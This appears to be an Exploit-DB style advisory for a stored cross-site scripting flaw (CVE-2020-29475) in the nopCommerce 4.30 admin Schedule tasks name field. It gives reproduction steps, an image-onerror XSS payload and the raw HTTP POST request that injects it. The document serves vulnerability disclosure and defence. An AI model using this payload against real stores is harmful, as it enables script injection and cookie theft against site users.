nopCommerce Store 4.30 - 'name' Stored Cross-Site Scripting

vendor:

nopCommerce Store

by:

Hemant Patidar (HemantSolo)

4.8

CVSS

MEDIUM

Stored Cross-Site Scripting

CWE

Product Name: nopCommerce Store

Affected Version From: 4.3

Affected Version To: 4.3

Patch Exists: YES

Related CWE: CVE-2020-29475

CPE: a:nopcommerce:nopcommerce:4.30

Metasploit:

Other Scripts:

Platforms Tested: Windows 10, Kali Linux

2020

nopCommerce Store 4.30 – ‘name’ Stored Cross-Site Scripting

This vulnerability allows an attacker to inject a malicious script directly into a vulnerable web application. In the case of nopCommerce Store 4.30, the XSS payload can be injected in Schedule tasks. When a user visits the page with the injected payload, the XSS is triggered, allowing the attacker to steal cookies.

Mitigation:

To mitigate this vulnerability, it is recommended to sanitize user input and implement proper output encoding.

Source

Exploit-DB raw data:

# Exploit Title: nopCommerce Store 4.30 - 'name' Stored Cross-Site Scripting
# Date: 24-11-2020
# Exploit Author: Hemant Patidar (HemantSolo)
# Vendor Homepage: https://www.nopcommerce.com/
# Version: 4.30
# Tested on: Windows 10/Kali Linux
# CVE: CVE-2020-29475

Stored Cross-site scripting(XSS):
Stored XSS, also known as persistent XSS, is the more damaging of the two. It occurs when a malicious script is injected directly into a vulnerable web application.

Attack vector:
This vulnerability can results attacker to inject the XSS payload in Schedule tasks and each time any user will go to that page of the website, the XSS triggers and attacker can able to steal the cookie according to the crafted payload.

Vulnerable Parameters: Schedule tasks.

Steps-To-Reproduce:
1. Go to the nopCommerce Store admin page.
2. Now go to the System-Schedule tasks option.
3. Now click to on edit button on any task.
4. Put the below payload in Schedule tasks: "hemantsolo"><img src=x onerror=confirm(1)>"
5. Now click on Update button.
6. The XSS will be triggered.

POST /Admin/ScheduleTask/TaskUpdate HTTP/1.1
Host: 127.0.0.1
Connection: close
Content-Length: 335
Accept: application/json, text/javascript, */*; q=0.01
DNT: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: 127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: 127.0.0.1/Admin/ScheduleTask/List
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,hi;q=0.7,ru;q=0.6
Cookie: xyz

Id=5&Name=hemantsolo%22%3E%3Cimg+src%3Dx+onerror%3Dconfirm(1)%3E&Seconds=3600&Enabled=false&StopOnError=false&__RequestVerificationToken=CfDJ8Hstb5ORl7RLtnBnyhE10fENmFHuOPhDq-cN_XNT5gs_nUq2ht5UeggYY9Fea9OqSCeJnVy_e4IKpQ7HhLYwtOMRS76BYcfJ9Os-CI9BxTxrumbAaunwIxrDMZm6CbNRs9EPzKQabez4H7dNpXG6oVpiC5Pc__xQVm06bp4c4O_D15lqehkk6EmqDAizfm8LFA